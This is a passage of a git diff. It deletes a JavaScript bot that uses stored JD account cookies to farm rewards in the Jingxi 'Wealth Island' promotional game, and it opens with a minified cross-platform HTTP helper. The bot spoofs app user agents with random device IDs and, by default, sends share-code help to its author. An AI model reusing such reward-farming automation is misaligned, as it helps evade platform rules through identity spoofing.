t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_wealth_island.js b/backUp/gua_wealth_island.js deleted file mode 100644 index 99c9ed8..0000000 --- a/backUp/gua_wealth_island.js +++ /dev/null @@ -1,1233 +0,0 @@ -/* - https://st.jingxi.com/fortune_island/index2.html - - 18 0-23/2 * * * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_wealth_island.js 财富大陆 - -*/ - -const $ = new Env('财富大陆'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -// const notify = $.isNode() ? require('./sendNotify') : ''; -CryptoScripts() -$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; -let UA = `jdpingou;iPhone;5.2.2;14.3;${randomString(40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -$.InviteList = [] -$.innerInviteList = []; -const HelpAuthorFlag = true;//是否助力作者SH true 助力,false 不助力 - -// 热气球接客 每次运行接客次数 -let serviceNum = 10;// 每次运行接客次数 -if ($.isNode() && process.env.gua_wealth_island_serviceNum) { - serviceNum = Number(process.env.gua_wealth_island_serviceNum); -} - -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -$.appId = 10032; - -!(async () => { - if (!cookiesArr[0]) { - $.msg('【京东账号一】宠汪汪积分兑换奖品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return - } - console.log(`\n -想要我的财富吗 -我把它放在一个神奇的岛屿 -去找吧 -`) - await requestAlgo(); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - $.cookie = cookiesArr[i] + ''; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - console.log(`\n*****开始【京东账号${$.index}】${$.UserName}****\n`); - UA = `jdpingou;iPhone;5.2.2;14.3;${randomString(40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - await run(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }).finally(() => { - $.done(); - }) -async function run() { - try{ - $.HomeInfo = '' - $.LeadInfo = '' - $.buildList = '' - $.Fund = '' - $.task = [] - $.Biztask = [] - $.Aggrtask = [] - $.Employtask = [] - - await GetHomePageInfo() - - if($.HomeInfo){ - $.InviteList.push($.HomeInfo.strMyShareId) - console.log(`等级:${$.HomeInfo.dwLandLvl} 当前金币:${$.HomeInfo.ddwCoinBalance} 当前财富:${$.HomeInfo.ddwRichBalance} 助力码:${$.HomeInfo.strMyShareId}`) - } - if($.LeadInfo && $.LeadInfo.dwLeadType == 2){ - await $.wait(2000) - console.log(`\n新手引导`) - await noviceTask() - await GetHomePageInfo() - await $.wait(1000) - } - // 寻宝 - await XBDetail() - // 故事会 - await StoryInfo() - // 建筑升级 - await buildList() - // 签到 邀请奖励 - await sign() - // 签到-小程序 - await signs() - // 捡垃圾 - await pickshell(1) - // 热气球接客 - await service(serviceNum) - // 倒垃圾 - await RubbishOper() - // 导游 - await Guide() - // 撸珍珠 - await Pearl() - // 牛牛任务 - await ActTask() - // 日常任务、成就任务 - await UserTask() - - } - catch (e) { - console.log(e); - } -} -async function GetHomePageInfo() { - let e = getJxAppToken() - let additional= `&strPgtimestamp=${e.strPgtimestamp}&strPhoneID=${e.strPhoneID}&strPgUUNum=${e.strPgUUNum}&ddwTaskId=&strShareId=&strMarkList=guider_step%2Ccollect_coin_auth%2Cguider_medal%2Cguider_over_flag%2Cbuild_food_full%2Cbuild_sea_full%2Cbuild_shop_full%2Cbuild_fun_full%2Cmedal_guider_show%2Cguide_guider_show%2Cguide_receive_vistor%2Cdaily_task%2Cguider_daily_task%2Ccfd_has_show_selef_point` - let stk= `_cfd_t,bizCode,ddwTaskId,dwEnv,ptag,source,strMarkList,strPgUUNum,strPgtimestamp,strPhoneID,strShareId,strVersion,strZone` - $.HomeInfo = await taskGet(`user/QueryUserInfo`, stk, additional) - if($.HomeInfo){ - $.Fund = $.HomeInfo.Fund || '' - $.LeadInfo = $.HomeInfo.LeadInfo || '' - $.buildInfo = $.HomeInfo.buildInfo || '' - $.XbStatus = $.HomeInfo.XbStatus || [] - if($.buildInfo.buildList){ - $.buildList = $.buildInfo.buildList || '' - } - } -} -// 寻宝 -async function XBDetail(){ - try{ - let XBDetail = $.XbStatus.XBDetail.filter((x) => x.dwRemainCnt !== 0 && x.ddwColdEndTm <= parseInt(Date.now()/1000,10)) - if(XBDetail.length > 0){ - console.log(`\n开始寻宝`) - for(let k of XBDetail || []){ - if(k.ddwColdEndTm <= parseInt(Date.now()/1000,10)){ - await $.wait(2000) - let res = await taskGet(`user/TreasureHunt`, '_cfd_t,bizCode,dwEnv,ptag,source,strIndex,strZone', `&strIndex=${k.strIndex}`) - if(res && res.iRet == 0){ - if (res.AwardInfo.dwAwardType === 0) { - console.log(`${res.strAwardDesc},获得 ${res.AwardInfo.ddwValue} 金币`) - } else if (res.AwardInfo.dwAwardType === 1) { - console.log(`${res.strAwardDesc},获得 ${res.AwardInfo.ddwValue} 财富`) - } else { - console.log("寻宝失败\n"+$.toObj(res,res)) - } - }else if(res && res.sErrMsg){ - console.log(`寻宝失败 ${res.sErrMsg}`) - }else{ - console.log("寻宝失败\n"+$.toObj(res,res)) - } - } - } - }else{ - console.log('\n暂无宝物') - } - }catch (e) { - $.logErr(e); - } -} -// 故事会 -async function StoryInfo(){ - try{ - if($.HomeInfo.StoryInfo && $.HomeInfo.StoryInfo.StoryList){ - let additional = `` - let stk = `` - let type = `` - let res = `` - await $.wait(1000) - // 点击故事 - if($.HomeInfo.StoryInfo.StoryList[0].dwStatus == 1){ - if($.HomeInfo.StoryInfo.StoryList[0].dwType == 4){ - console.log(`\n贩卖`) - additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=2&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` - stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` - type = `CollectorOper` - res = await taskGet(`story/${type}`, stk, additional) - // console.log(JSON.stringify(res)) - }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 1){ - console.log(`\n故事会[${$.HomeInfo.StoryInfo.StoryList[0].Special.strName}]`) - additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=2&triggerType=${$.HomeInfo.StoryInfo.StoryList[0].Special.dwTriggerType}&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` - stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone,triggerType` - type = `SpecialUserOper` - res = await taskGet(`story/${type}`, stk, additional) - // console.log(JSON.stringify(res)) - }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 2){ - console.log(`\n美人鱼`) - additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=1&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` - stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` - type = `MermaidOper` - res = await taskGet(`story/${type}`, stk, additional) - console.log(JSON.stringify(res)) - } - } - if($.HomeInfo.StoryInfo.StoryList[0].dwType == 4 && ( (res && res.iRet == 0) || res == '')){ - await pickshell(4) - await $.wait(1000) - console.log(`查询背包`) - additional = `&ptag=` - stk = `_cfd_t,bizCode,dwEnv,ptag,source,strZone` - res = await taskGet(`story/querystorageroom`, stk, additional) - let TypeCnt = [] - if(res.Data && res.Data.Office){ - for(let i of res.Data.Office){ - TypeCnt.push(`${i.dwType}:${i.dwCount}`) - } - } - TypeCnt = TypeCnt.join(`|`) - if(TypeCnt){ - console.log(`出售`) - await $.wait(1000) - additional = `&ptag=&strTypeCnt=${TypeCnt}&dwSceneId=2` - stk = `_cfd_t,bizCode,dwEnv,dwSceneId,ptag,source,strTypeCnt,strZone` - res = await taskGet(`story/sellgoods`, stk, additional) - await printRes(res, '贩卖') - additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=4&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` - stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` - type = `CollectorOper` - res = await taskGet(`story/${type}`, stk, additional) - // console.log(JSON.stringify(res)) - } - }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 1 && ( (res && res.iRet == 0) || res == '')){ - if(res && res.iRet == 0 && res.Data && res.Data.Serve && res.Data.Serve.dwWaitTime){ - console.log(`等待 ${res.Data.Serve.dwWaitTime}秒`) - await $.wait(res.Data.Serve.dwWaitTime * 1000) - await $.wait(1000) - } - additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=3&triggerType=${$.HomeInfo.StoryInfo.StoryList[0].Special.dwTriggerType}&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` - stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone,triggerType` - type = `SpecialUserOper` - res = await taskGet(`story/${type}`, stk, additional) - await printRes(res, `故事会[${$.HomeInfo.StoryInfo.StoryList[0].Special.strName}]`) - // console.log(JSON.stringify(res)) - - }else if($.HomeInfo.StoryInfo.StoryList[0].dwType == 2 && ( (res && res.iRet == 0) || res == '')){ - if($.HomeInfo.StoryInfo.StoryList[0].dwStatus == 4){ - additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=4&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` - }else{ - additional = `&ptag=&strStoryId=${$.HomeInfo.StoryInfo.StoryList[0].strStoryId}&dwType=2&ddwTriggerDay=${$.HomeInfo.StoryInfo.StoryList[0].ddwTriggerDay}` - } - await $.wait(5000) - stk = `_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone` - type = `MermaidOper` - res = await taskGet(`story/${type}`, stk, additional) - await printRes(res,'美人鱼') - // console.log(JSON.stringify(res)) - } - } - }catch (e) { - $.logErr(e); - } -} -// 建筑升级 -async function buildList(){ - try{ - await $.wait(2000) - console.log(`\n升级房屋、收集金币`) - if($.buildList){ - for(let i in $.buildList){ - let item = $.buildList[i] - let title = '未识别' - if(item.strBuildIndex == 'food'){ - title = '美食城' - }else if(item.strBuildIndex == 'sea'){ - title = '旅馆' - }else if(item.strBuildIndex == 'shop'){ - title = '商店' - }else if(item.strBuildIndex == 'fun'){ - title = '游乐场' - } - let additional = `&strBuildIndex=${item.strBuildIndex}` - let stk= `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` - let GetBuildInfo = await taskGet(`user/GetBuildInfo`, stk, additional) - let msg = `\n[${title}] 当前等级:${item.dwLvl} 接待收入:${item.ddwOneceVistorAddCoin}/人 座位人数:${item.dwContain}` - if(GetBuildInfo) msg += `\n升级->需要金币:${GetBuildInfo.ddwNextLvlCostCoin} 获得财富:${GetBuildInfo.ddwLvlRich}` - console.log(msg) - await $.wait(1000) - if(GetBuildInfo.dwCanLvlUp > 0){ - console.log(`${item.dwLvl == 0 && '开启' || '升级'}${title}`) - if(item.dwLvl == 0){ - await taskGet(`user/createbuilding`, stk, additional) - }else{ - if(GetBuildInfo){ - additional = `&strBuildIndex=${GetBuildInfo.strBuildIndex}&ddwCostCoin=${GetBuildInfo.ddwNextLvlCostCoin}` - stk = `_cfd_t,bizCode,ddwCostCoin,dwEnv,ptag,source,strBuildIndex,strZone` - let update = await taskGet(`user/BuildLvlUp`, stk, additional) - if(update && update.story && update.story.strToken){ - await $.wait(Number(update.story.dwWaitTriTime) * 1000) - await $.wait(1000) - additional= `&strToken=${update.story.strToken}&ddwTriTime=${update.story.ddwTriTime}` - stk = `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` - // await taskGet(`story/QueryUserStory`, stk, additional) - } - } - } - await $.wait(2000) - } - additional = `&strBuildIndex=${GetBuildInfo.strBuildIndex}&dwType=1` - stk = `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strBuildIndex,strZone` - let CollectCoin = await taskGet(`user/CollectCoin`, stk, additional) - if(CollectCoin && CollectCoin.ddwCoinBalance){ - console.log(`收集金币:${CollectCoin.ddwCoin} 当前剩余:${CollectCoin.ddwCoinBalance}`) - await $.wait(Number(CollectCoin.story.dwWaitTriTime) * 1000) - additional= `&strToken=${CollectCoin.story.strToken}&ddwTriTime=${CollectCoin.story.ddwTriTime}` - stk = `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` - // await taskGet(`story/QueryUserStory`, stk, additional) - } - await $.wait(1000) - } - await GetHomePageInfo() - await $.wait(1000) - } - if($.Fund && $.Fund.dwIsGetGift < $.Fund.dwIsShowFund){ - console.log(`\n领取开拓基金${Number($.Fund.strGiftName)}元`) - let additional= `` - let stk= `_cfd_t,bizCode,dwEnv,ptag,source,strZone` - let drawpackprize = await taskGet(`user/drawpackprize`, stk, additional) - } - - }catch (e) { - $.logErr(e); - } -} -// 签到 邀请奖励 -async function sign(){ - try{ - // 签到 - await $.wait(2000) - $.Aggrtask = await taskGet(`story/GetTakeAggrPage`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') - if($.Aggrtask && $.Aggrtask.Data && $.Aggrtask.Data.Sign){ - if($.Aggrtask.Data.Sign.dwTodayStatus == 0) { - console.log('\n签到') - let flag = false - let ddwCoin = 0 - let ddwMoney = 0 - let dwPrizeType = 0 - let strPrizePool = 0 - let dwPrizeLv = 0 - for(i of $.Aggrtask.Data.Sign.SignList){ - if(i.dwStatus == 0){ - flag = true - ddwCoin = i.ddwCoin || 0 - ddwMoney = i.ddwMoney || 0 - dwPrizeType = i.dwPrizeType || 0 - strPrizePool = i.strPrizePool || 0 - dwPrizeLv = i.dwBingoLevel || 0 - break; - } - } - if(flag){ - let e = getJxAppToken() - let additional = `&ptag=&ddwCoin=${ddwCoin}&ddwMoney=${ddwMoney}&dwPrizeType=${dwPrizeType}&strPrizePool${strPrizePool && '='+strPrizePool ||''}&dwPrizeLv=${dwPrizeLv}&strPgtimestamp=${e.strPgtimestamp}&strPhoneID=${e.strPhoneID}&strPgUUNum=${e.strPgUUNum}` - let stk= `_cfd_t,bizCode,ddwCoin,ddwMoney,dwEnv,dwPrizeLv,dwPrizeType,ptag,source,strPrizePool,strPgUUNum,strPgtimestamp,strPhoneID,strZone` - let res = await taskGet(`story/RewardSign`, stk, additional) - await printRes(res, '签到') - } - } - } - - if($.Aggrtask && $.Aggrtask.Data && $.Aggrtask.Data.Employee && $.Aggrtask.Data.Employee.EmployeeList){ - if($.Aggrtask.Data && $.Aggrtask.Data.Employee && $.Aggrtask.Data.Employee.EmployeeList){ - console.log(`\n领取邀请奖励(${$.Aggrtask.Data.Employee.EmployeeList.length || 0}/${$.Aggrtask.Data.Employee.dwNeedTotalPeople || 0})`) - for(let i of $.Aggrtask.Data.Employee.EmployeeList){ - if(i.dwStatus == 0){ - let res = await taskGet(`story/helpdraw`, '_cfd_t,bizCode,dwEnv,dwUserId,ptag,source,strZone', `&ptag=&dwUserId=${i.dwId}`) - await printRes(res, '邀请奖励') - } - } - } - } - }catch (e) { - $.logErr(e); - } -} -// 签到-小程序 -async function signs(){ - try{ - // 签到-小程序 - await $.wait(2000) - $.Aggrtask = await taskGet(`story/GetTakeAggrPages`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') - if($.Aggrtask && $.Aggrtask.Data && $.Aggrtask.Data.Sign){ - if($.Aggrtask.Data.Sign.dwTodayStatus == 0) { - console.log('\n签到-小程序') - let flag = false - let ddwCoin = 0 - let ddwMoney = 0 - let dwPrizeType = 0 - let strPrizePool = 0 - let dwPrizeLv = 0 - for(i of $.Aggrtask.Data.Sign.SignList){ - if(i.dwStatus == 0){ - flag = true - ddwCoin = i.ddwCoin || 0 - ddwMoney = i.ddwMoney || 0 - dwPrizeType = i.dwPrizeType || 0 - strPrizePool = i.strPrizePool || 0 - dwPrizeLv = i.dwBingoLevel || 0 - break; - } - } - if(flag){ - let e = getJxAppToken() - let additional = `&ptag=&ddwCoin=${ddwCoin}&ddwMoney=${ddwMoney}&dwPrizeType=${dwPrizeType}&strPrizePool${strPrizePool && '='+strPrizePool ||''}&dwPrizeLv=${dwPrizeLv}&strPgtimestamp=${e.strPgtimestamp}&strPhoneID=${e.strPhoneID}&strPgUUNum=${e.strPgUUNum}` - let stk= `_cfd_t,bizCode,ddwCoin,ddwMoney,dwEnv,dwPrizeLv,dwPrizeType,ptag,source,strPrizePool,strPgUUNum,strPgtimestamp,strPhoneID,strZone` - let res = await taskGet(`story/RewardSigns`, stk, additional) - await printRes(res, '签到-小程序') - } - } - } - }catch (e) { - $.logErr(e); - } -} -// 捡垃圾 -async function pickshell(num = 1){ - return new Promise(async (resolve) => { - try{ - console.log(`\n捡垃圾`) - // pickshell dwType 1珍珠 2海螺 3大海螺 4海星 5小贝壳 6扇贝 - for(i=1;num--;i++){ - await $.wait(2000) - $.queryshell = await taskGet(`story/queryshell`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', `&ptag=`) - let c = 6 - for(i=1;c--;i++){ - let o = 1 - let name = '珍珠' - if(i == 2) name = '海螺' - if(i == 3) name = '大海螺' - if(i == 4) name = '海星' - if(i == 5) name = '小贝壳' - if(i == 6) name = '扇贝' - do{ - console.log(`去捡${name}第${o}次`) - o++; - let res = await taskGet(`story/pickshell`, '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strZone', `&ptag=&dwType=${i}`) - await $.wait(200) - if(!res || res.iRet != 0){ - break - } - }while (o < 20) - } - } - }catch (e) { - $.logErr(e); - } - finally { - resolve(); - } - }) -} -// 热气球接客 -async function service(num = 1){ - return new Promise(async (resolve) => { - try{ - console.log(`\n热气球接客`) - let arr = ['food','sea','shop','fun'] - for(i=1;num--;i++){ - let strBuildIndex = arr[Math.floor((Math.random()*arr.length))] - console.log(`第${i}/${num+i}次:${strBuildIndex}`) - let res = await taskGet(`user/SpeedUp`, '_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone', `&ptag=&strBuildIndex=${strBuildIndex}`) - if(res && res.iRet == 0){ - console.log(`当前气球次数:${res.dwTodaySpeedPeople} 金币速度:${res.ddwSpeedCoin}`) - // additional= `&strToken=${res.story.strToken}&ddwTriTime=${res.story.ddwTriTime}` - // stk = `_cfd_t,bizCode,dwEnv,ptag,source,strBuildIndex,strZone` - // await taskGet(`story/QueryUserStory`, stk, additional) - await $.wait(1000) - } - } - }catch (e) { - $.logErr(e); - } - finally { - resolve(); - } - }) -} -// 倒垃圾 -async function RubbishOper(){ - try{ - // 倒垃圾 - await $.wait(2000) - $.QueryRubbishInfo = await taskGet(`story/QueryRubbishInfo`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') - if($.QueryRubbishInfo && $.QueryRubbishInfo.Data && $.QueryRubbishInfo.Data.StoryInfo.StoryList){ - for(let i of $.QueryRubbishInfo.Data.StoryInfo.StoryList){ - let res = '' - if(i.strStoryId == 3){ - console.log(`\n倒垃圾`) - $.RubbishOper = await taskGet(`story/RubbishOper`, '_cfd_t,bizCode,dwEnv,dwRewardType,dwType,ptag,source,strZone', '&ptag=&dwType=1&dwRewardType=0') - if($.RubbishOper && $.RubbishOper.Data && $.RubbishOper.Data.ThrowRubbish && $.RubbishOper.Data.ThrowRubbish.Game && $.RubbishOper.Data.ThrowRubbish.Game.RubbishList){ - for(let j of $.RubbishOper.Data.ThrowRubbish.Game.RubbishList){ - console.log(`放置[${j.strName}]等待任务完成`) - res = await taskGet(`story/RubbishOper`, '_cfd_t,bizCode,dwEnv,dwRewardType,dwRubbishId,dwType,ptag,source,strZone', `&ptag=&dwType=2&dwRewardType=0&dwRubbishId=${j.dwId}`) - await $.wait(2000) - } - if(res && res.Data && res.Data.RubbishGame && res.Data.RubbishGame.AllRubbish && res.Data.RubbishGame.AllRubbish.dwIsGameOver && res.Data.RubbishGame.AllRubbish.dwIsGameOver == 1){ - console.log(`任务完成获得:${res.Data.RubbishGame.AllRubbish.ddwCoin && res.Data.RubbishGame.AllRubbish.ddwCoin+'金币' || ''}`) - }else{ - console.log(JSON.stringify(res)) - } - } - } - } - } - }catch (e) { - $.logErr(e); - } -} -// 雇佣导游 -async function Guide(){ - try{ - await $.wait(2000) - $.Employtask = await taskGet(`user/EmployTourGuideInfo`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') - if($.Employtask && $.Employtask.TourGuideList){ - console.log(`\n雇佣导游`) - let num = $.Employtask.dwRemainGuideCnt - console.log(`当前可雇佣劳动人数:${num}`) - let arr = []; - for(let i in $.Employtask.TourGuideList){ - let item = $.Employtask.TourGuideList[i] - let larr = [],res = true - arr.forEach((x)=>{ - if(x.ddwProductCoin < item.ddwProductCoin && res == true){ - larr.push(item) - res = false - } - larr.push(x) - }) - if(res) larr.push(item) - arr = larr - } - for(let i of arr){ - console.log(`${i.strGuideName} 收益:${i.ddwProductCoin} 支付成本:${i.ddwCostCoin} 剩余工作时长:${timeFn(Number(i.ddwRemainTm || 0) * 1000)}`) - let dwIsFree = 0 - let ddwConsumeCoin = i.ddwCostCoin - if(i.dwFreeMin != 0) dwIsFree = 1 - if(num > 0 && i.ddwRemainTm == 0){ - res = await taskGet(`user/EmployTourGuide`, '_cfd_t,bizCode,ddwConsumeCoin,dwEnv,dwIsFree,ptag,source,strBuildIndex,strZone', `&ptag=&strBuildIndex=${i.strBuildIndex}&dwIsFree=${dwIsFree}&ddwConsumeCoin=${ddwConsumeCoin}`) - if(res.iRet == 0){ - console.log(`雇佣成功`) - num--; - }else{ - console.log(`雇佣失败:`, JSON.stringify(res)) - } - await $.wait(3000) - } - } - } - - }catch (e) { - $.logErr(e); - } -} -// 撸珍珠 -async function Pearl(){ - try{ - await $.wait(2000) - $.ComposeGameState = await taskGet(`user/ComposePearlState`, '', '&dwGetType=0') - console.log(`\n当前有${$.ComposeGameState.dwCurProgress}个月饼${$.ComposeGameState.ddwVirHb && ' '+$.ComposeGameState.ddwVirHb/100+"红包" || ''}`) - if($.ComposeGameState.dayDrawInfo.dwIsDraw == 0){ - let res = '' - res = await taskGet(`user/GetPearlDailyReward`, '__t,strZone', ``) - if(res && res.iRet == 0 && res.strToken){ - res = await taskGet(`user/PearlDailyDraw`, '__t,ddwSeaonStart,strToken,strZone', `&ddwSeaonStart=${$.ComposeGameState.ddwSeasonStartTm}&strToken=${res.strToken}`) - if(res && res.iRet == 0){ - if(res.strPrizeName){ - console.log(`抽奖获得:${res.strPrizeName || $.toObj(res,res)}`) - }else{ - console.log(`抽奖获得:${$.toObj(res,res)}`) - } - }else{ - console.log("抽奖失败\n"+$.toObj(res,res)) - } - }else{ - console.log($.toObj(res,res)) - } - } - if (($.ComposeGameState.dwCurProgress < 8 || true) && $.ComposeGameState.strDT) { - let b = 1 - console.log(`合月饼${b}次 `) - // b = 8-$.ComposeGameState.dwCurProgress - for(i=1;b--;i++){ - let n = Math.ceil(Math.random()*12+12) - console.log(`上报次数${n}`) - for(m=1;n--;m++){ - console.log(`上报第${m}次`) - await $.wait(5000) - await taskGet(`user/RealTmReport`, '', `&dwIdentityType=0&strBussKey=composegame&strMyShareId=${$.ComposeGameState.strMyShareId}&ddwCount=10`) - let s = Math.floor((Math.random()*3)) - let n = 0 - if(s == 1) n = 1 - if(n === 1){ - let res = await taskGet(`user/ComposePearlAward`, '__t,size,strBT,strZone,type', `__t=${Date.now()}&type=4&size=1&strBT=${$.ComposeGameState.strDT}`) - if(res && res.iRet == 0){ - console.log(`上报得红包:${res.ddwAwardHb && '获得'+res.ddwAwardHb/100+"红包" || ''}${res.ddwVirHb && ' 当前有'+res.ddwVirHb/100+"红包" || ''}`) - }else{ - console.log($.toObj(res,res)) - } - } - } - console.log("合成月饼") - let strLT = ($.ComposeGameState.oPT || [])[$.ComposeGameState.ddwCurTime % ($.ComposeGameState.oPT || []).length] - let res = await taskGet(`user/ComposePearlAddProcess`, '__t,strBT,strLT,strZone', `&strBT=${$.ComposeGameState.strDT}&strLT=${strLT}`) - if(res && res.iRet == 0){ - 